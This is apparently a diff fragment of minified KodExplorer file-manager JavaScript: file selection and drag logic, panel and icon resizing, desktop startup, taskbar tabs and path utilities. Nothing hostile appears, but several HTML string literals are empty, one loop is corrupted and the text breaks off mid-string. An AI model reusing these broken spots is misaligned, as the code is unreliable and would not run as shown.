p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||i)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(i){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(i.target).parents(".split_box").scrollTop()),$(i.target).parent().hasClass(Config.FileBoxClassName)||$(i.target).parent().parent().hasClass(Config.FileBoxClassName)||$(i.target).hasClass("fix")||(rightMenu.hidden(),i.ctrlKey||i.metaKey||i.shiftKey||ui.fileLight.clear(),$(i.target).hasClass("ico")||(t=i.pageX-s,a=i.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('
    ').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},f=function(i){if(!e)return!0;var o=i.pageX-p.offset().left+p.scrollLeft(),s=i.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-t),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,t),top:Math.min(s,a),width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),i=n.offset().top-p.offset().top+p.scrollTop(),t=e+n.width(),a=i+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,f=d+l.width()),t-e+f-d>Math.abs(e+t-(d+f))&&a-i+h-u>Math.abs(i+a-(u+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,t=null,a=null,void 0):!1}},f=function(e,i){var t=$(".fileList_list_split .split_box.split_select");if(e)t=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();t=a.parents(".split_box")}return t.find(i)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():f(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():f(e,".file.select")}},m=function(e){var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getColfileNumberDesktop(),s=i.index(t.first()),r=i.index(t.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return i.eq(n)},v=function(e){if("desktop"==Config.pageApp)return m(e);var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=i.index(t.first()),l=i.index(t.last());switch(e){case"up":n=0>=r-o?0:r-o,n=_(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=_(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=_(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=_(n,!0);break;default:}return i.eq(n)},_=function(e,i){for(var t=h.fileListAll(),a=t.eq(e),n=t.length;0!=a.parents(".hidden").length;){if(i?e++:e--,0>=e||e>=n)return e;a=t.eq(e)}return e},g=function(e){var i,t=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),i=t.first();break;case"end":n=a.first(),i=t.last();break;case"left":n=a.last(),i=v(e);break;case"up":n=a.last(),i=v(e);break;case"right":n=a.first(),i=v(e);break;case"down":n=a.first(),i=v(e);break;case"pageup":n=a.last(),i=v(e);break;case"pagedown":n=a.first(),i=v(e);break;case"all":i=t;break;default:}if(!y(e)){if(o&&""!=n){var s=t.index(n),r=t.index(i);if(s>r){var l=s;s=r,r=l}return x(s,r,t),void 0}b(i)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var i=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==i.find(".children_more_cert.cert_open").length)i.find(".children_more_cert").removeClass("cert_open"),i.next().addClass("hidden");else{var t=i.parent(".children_list").prev(".file");b(t)}else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").prev().find(".select_split_parent");b(t)}break;case"right":if("list"==G.user_config.list_type)1==i.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(i),i.find(".children_more_cert").addClass("cert_open"),i.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").next().find(".file:eq(0)");b(t)}break;default:return!1}return!0},x=function(e,i,t){if("desktop"==Config.pageApp)return k(e,i,t);ui.fileLight.clear();for(var a=e;i>=a;a++)$(t[a]).addClass(Config.SelectClassName);ui.fileLight.select()},k=function(e,i,t){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},i={row:i%a,col:parseInt(i/a)};if(i.row=r;r++){var l=0,c=n; -r==e.row&&(l=e.col),r==i.row&&(c=i.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),u()},isDraging:function(){return i},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},i={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},t=e,a=function(){if(LocalData.get("resize_config"))t=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(t=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(t);LocalData.set("resize_config",a)}$.each(e,function(a){(!t[a]||t[a]=t&&(t=i[e]),n+=t,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+t+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},t);l[r]+=a,l[r]<=i[r]&&(l[r]=i[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(t=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},t);r[e]+=a,o(r),s&&(t=r,$.each(t,function(e,a){i[e]>=a&&(t[e]=i[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(t),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(i){l(e,i,!1)},end:function(i){l(e,i,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(i){s(i,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var i=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],t=10,a="",n=0;i.length>n;n++){var o=parseInt(i[n][0]);if(e>=o-t&&o+t>=e){a=i[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,i){var t=105,a=30,n=250,o=(e-a)*t/(n-a),s=20,r=10,l=parseInt(e),c=l+2*s-r+5,d=l-r,p=l-r,u=.4*l,h=l+3*s-r,m=".fileList_icon div.file{height:"+c+"px;width:"+l+"px;}";"desktop"==Config.pageApp&&(c-=5,m="div.fileList_icon div.file{height:"+c+"px;width:"+l+"px;}");var v="div.fileList_icon div.file{max-height:"+h+"px;}"+m+" .fileList_icon .meta_info{height:"+u+"px;width:"+u+"px; margin-right:"+.16*u+"px;margin-top:-"+1.1*u+"px;} .fileList_icon div.file .filename{width:"+l+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+l+"px;} .fileList_icon div.file .ico{padding-left:"+r/2+"px;height:"+p+"px;width:"+d+"px} .fileList_icon div.file .ico.picasaImage{width:"+d+"px;padding-left:"+r/2+"px;overflow:hidden;}";$.setStyle(v,"file_icon_resize"),$(".slider_handle").css("top",o),i&&f(e)},m=function(){var e,i=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var t=function(i){var t=0,a=105,n=30,o=250,s=e+i;s=t>s?t:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};i.drag({start:function(){i.addClass("active"),e=parseInt(i.css("top"))},move:function(e,i){t(i)},end:function(e,a){i.removeClass("active"),f(t(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(i){var n=i.clientY-a.offset().top;e=0,t(n)})},v=function(){var e=function(e,i){var t=e.parent(),a=$(".split_box").index(t),n=parseInt(t.data("before_width"))+i;if(!(150>n)){$($(".split_line").get(a)).css("width",n),t.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+i+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,i){var t=i.parent();t.addClass("is_drag_split").data("before_width",t.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(i,t,a,n){e(n,i)},end:function(e,i,t,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),_()},_=function(){var e=jsonDecode(LocalData.get("split_box_size")),i=0;e||(e=[]);var t=function(t,a){var n=e[a];n||(n={width:250,left:i}),i+=n.width+1,t.css({width:n.width+"px",left:n.left})};i=0,$(".split_box").each(function(e){t($(this),e)}),i=0,$(".split_line").each(function(e){t($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(t=e),o(t),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:v,bindHeaderResize:c,setFileIconSize:h}}); \ No newline at end of file +/*! power by kodexplorer ver3.36(2016-12-30) [build 1483112392840] */ +define("app/src/desktop/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/taskTap","../../common/core","../../common/rightMenu","../explorer/ui","../explorer/fileContent","../explorer/path","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".bodymain .fileContiner",FileBoxClass:".bodymain .fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".bodymain .fileContiner .title",SelectClass:".bodymain .fileContiner .file.select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",pageApp:"desktop",navbar:"navbar",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("../explorer/ui"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),$(document).ready(function(){G.user_config.list_type="icon",core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),TaskTap.init(),rightMenu.initDesktop(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".fileContiner").removeClass("hidden"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()}),$(".bodymain").click(function(){"block"==$("#menuwin").css("display")&&$("#menuwin").css("display","none"),$("body").focus()}),$(".start").click(function(){"block"==$("#menuwin").css("display")?$("#menuwin").css("display","none"):$("#menuwin").css("display","block")}),$("#menuwin").click(function(){$("#menuwin").css("display","none")}),$(".copyright").click(function(){core.copyright()}),$(".tab_hide_all").click(function(){if(0!=$.dialog.list.length){$(this).toggleClass("this");var e=!$(this).hasClass("this");$.each($.dialog.list,function(i,t){t.display(e)})}});var i='
    ';$("body").append(i);var t=$("#randomWallpaper .flower");t.bind("click",function(){t.addClass("moveCircle");var e=function(e){var i=G.myhome+"picture/wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+i,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e))})};core.api.randomImage(function(i){ui.setWall(i,function(){setTimeout(function(){t.removeClass("moveCircle")},100)}),$.get("index.php?setting/set&k=wall&v="+urlEncode(i)),e(i)})})})}),define("app/common/taskTap",[],function(){var e={},i="",t=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var i=e.attr("id"),t=$.dialog.list[i];if(void 0==t)return c(i),void 0;var a=$("."+i);"hidden"==a.css("visibility")?t.display(!0).zIndex():a.hasClass("aui_state_focus")?t.display(!1):t.zIndex()},o=function(){var e,i,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(i){1==i.which&&(e=$(this),h(i),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(i){_(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(i.pageX-l)&&n(e)}))});var h=function(t){s=!0,r=!0,l=t.pageX,$tab_parent=$(".task_tab"),i=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(i.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(i.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=t.clientX-l+c;$("body").prepend("
    "),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(t){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(t);var n=t.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),i.each(function(){var i=$(this).get(0).getBoundingClientRect().left;if(n>i&&i+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"left")}if(n>i-d/2+p&&i>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"right")}}))}},v=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),i=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},t),l.animate({width:"0px"},t,function(){$(this).remove(),i=$(".task_tab .tab")})}},_=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},t,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var i=110,a=i,n=i+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},t);case"close":o.animate({width:a+"px"},t);break;case"resize":o.css("width",a+"px");break;default:}},r=function(i,t){$(".task_tab").removeClass("hidden");var a=t.replace(/<[^>]+>/g,""),n='
    '+t+"
    ";$(n).insertBefore(".task_tab .last"),s("add"),e[i]={id:i,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),i=e},c=function(i){$(".task_tab #"+i).animate({width:0},t,function(){if($(".task_tab #"+i).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[i]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep100:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"quitOthers":$.each($.dialog.list,function(e,i){t!=e&&i.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,i){var t=i.$trigger.attr("id");switch($.dialog.list[t],e){case"showAll":$.each($.dialog.list,function(e,i){i.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,i){i.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,i){i.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
    ';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1)),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},i=!!window.ActiveXObject||"ActiveXObject"in window,t="chrome";i&&(t="ie"),core.filetypes.music=e[t].music,core.filetypes.movie=e[t].movie},titleTips=function(){require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=700;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));e=i.is("input")||i.is("textarea")?i.val():i.html()}return e=e?e:"",e.replace(/\n/g,"
    ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,i){if(i=void 0==i?"":i,"string"==$.type(e)){var t=trim(trim(e),"/");if(e={},"{"!=t.substring(0,1)||t.split("/").length>1)return{icon:"",name:""};e.path_type=t.match(/\{.*\}/),e.id=t.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:i}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=i),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var i=e.match(/\{.*\}/),t=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(i[0],t)>=0&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(i){}var i=e||window.event;return i?i&&$(i.target).is("textarea")||$(i.target).is("input")||$(i.target).is("p")||$(i.target).is("pre")||0!=$(i.target).parents(".can_right_menu").length||0!=$(i.target).parents(".topbar").length||0!=$(i.target).parents(".edit_body").length||0!=$(i.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/"),a=i.substr(t+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var i=e.replace(/\\/g,"/");return i=i.replace(/\/+/g,"/"),i=i.replace(/\.+\//g,"/")},pathFather:function(e){var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/");return i.substr(0,t+1)},pathExt:function(e){var i=trim(e,"/");return-1!=i.lastIndexOf("/")&&(i=i.substr(i.lastIndexOf("/")+1)),-1!=i.lastIndexOf(".")?i.substr(i.lastIndexOf(".")+1).toLowerCase():i.toLowerCase()},path2url:function(e,i){if("http"==e.substr(0,4))return e;void 0==i&&(i=!0);var t,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var i=urlEncode(e);return i=i.replace(/%2F/g,"/")};return G.is_root&&i&&a.substring(0,G.web_root.length)==G.web_root?t=G.web_host+n(a.replace(G.web_root,"")):(t=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(t=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),t},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var i;i=G.json_data.filelist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;i=G.json_data.folderlist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;return!0},authCheck:function(e,i){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==i&&(i=LNG.no_permission),Tips.tips(i,!1),!1):!0},ajaxError:function(e){var i=e.responseText,t='
    '+i+"
